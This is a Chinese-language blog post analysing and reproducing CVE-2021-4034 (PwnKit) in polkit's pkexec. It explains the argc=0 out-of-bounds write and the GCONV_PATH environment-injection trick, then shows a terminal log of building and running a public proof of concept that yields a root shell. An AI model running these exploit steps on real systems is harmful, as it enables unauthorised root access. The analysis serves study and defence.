CVE-2021-4034复现

漏洞分析

问题出在 pkexec 命令上

命令基本格式

pkexec [--user username] program

其含义,以指定用户身份 运行 文件,默认则为root

正常使用,是需要输入密码的。

在 main 函数里,如果传入的命令不是绝对路径,就会在 PATH 环境变量的目录里搜索。

在 534 行的 for 循环从下标 1 开始遍历 argv[]。但 Linux 里 argv 允许只包含一个元素,就是使用 execve 并给 argv 传入 {0},此时 argc 就是 0。

这个 for 循环结束之后,变量 n 为 1。第 610 行产生了第一个越界读,而第 639 行产生了一个越界写,把 g_find_program_in_path 返回的指针尝试写回 argv[1]。

调用 execve 之后,新进程的栈如下:

argv[0]

"program"

argv[1]

"option"

argv[argc]

NULL

envp[0]

"value"

envp[1]

"PATH=name"

envp[envc]

NULL

 

巧合的是 argv 之后正好马上接的是 envp 的第一个元素,完全可控。只要不是 / 开头的字符串就会进入越界写的分支。如果能控制 g_find_program_in_path  返回的字符串,就可以注入任意的环境变量。

这个内存安全(memory safety)问题瞬间变成了一个逻辑漏洞。

作者传入 PATH=folder,然后在 folder 目录里放置一个可执行文件 value,那么字符串 folder/value 就会写回 envp[0]。再进一步,让这个组合的文件名里包含等号 "="。传入 PATH=name=. ,创建一个 name=. 目录,并在其中放一个可执行文件 value,最终 envp[0] 就会被篡改为 name=./value,也就是注入了一个新的环境变量进去。

回到这个命令本身,pkexec 具有 suid,在执行入口程序之前不安全的环境变量都会被过滤一遍;由于这个漏洞的存在,这个过滤措施可以直接绕过。

这个漏洞将一个内存安全的 off-by-one 问题转化成了参数注入,关键出错的代码不长,颇有 ctf 的味道。

值得一提的是 GitHub Security Labs 在去年就发过一篇 Polkit 的本地提权漏洞 CVE-2021-3560,只是利用条件有一定限制。Qualys 很有可能是看了这篇分析然后开始审计代码。

POC

mrm@test:~/桌面$ cd CVE-2021-4034-main/
mrm@test:~/桌面/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
mrm@test:~/桌面/CVE-2021-4034-main$ ./cve-2021-4034
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),131(scanner),1000(mrm)
# 

文章转自:非尝咸鱼贩。

POC来自:https://github.com/berdav/CVE-2021-4034

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2021-28041是一个安全漏洞,它影响了某个软件或系统的特定版本。由于我无法得知你具体指的是哪个软件或系统的CVE-2021-28041漏洞,因此无法提供具体的复现步骤。但是,我可以给你一些一般性的复现漏洞的方法和建议。 要复现CVE-2021-28041漏洞,通常需要以下步骤: 1. 确定受影响的软件或系统版本:首先,你需要确定你使用的软件或系统是否受到CVE-2021-28041漏洞的影响。可以查看相关厂商或组织发布的安全公告或漏洞报告来获取这些信息。 2. 了解漏洞的详细信息:阅读CVE-2021-28041漏洞的详细描述和相关文档,了解漏洞的原理和影响范围。这将帮助你更好地理解漏洞,并为复现做好准备。 3. 搭建实验环境:在一个安全的环境中,搭建一个与受影响软件或系统版本相匹配的实验环境。这可以是一个虚拟机、容器或者专门用于安全测试的实验环境。 4. 复现漏洞:根据漏洞的描述和相关文档,尝试复现CVE-2021-28041漏洞。这可能涉及到构造特定的输入、触发特定的操作或者利用软件或系统中的某个弱点。 5. 验证漏洞:一旦成功复现漏洞,验证漏洞的存在和影响。这可以通过观察系统行为、获取敏感信息或者执行未授权的操作来进行验证。 请注意,复现漏洞是一项敏感的活动,需要在合法授权和合法范围内进行。在进行任何安全测试之前,请确保你已经获得了相关授权,并遵守法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值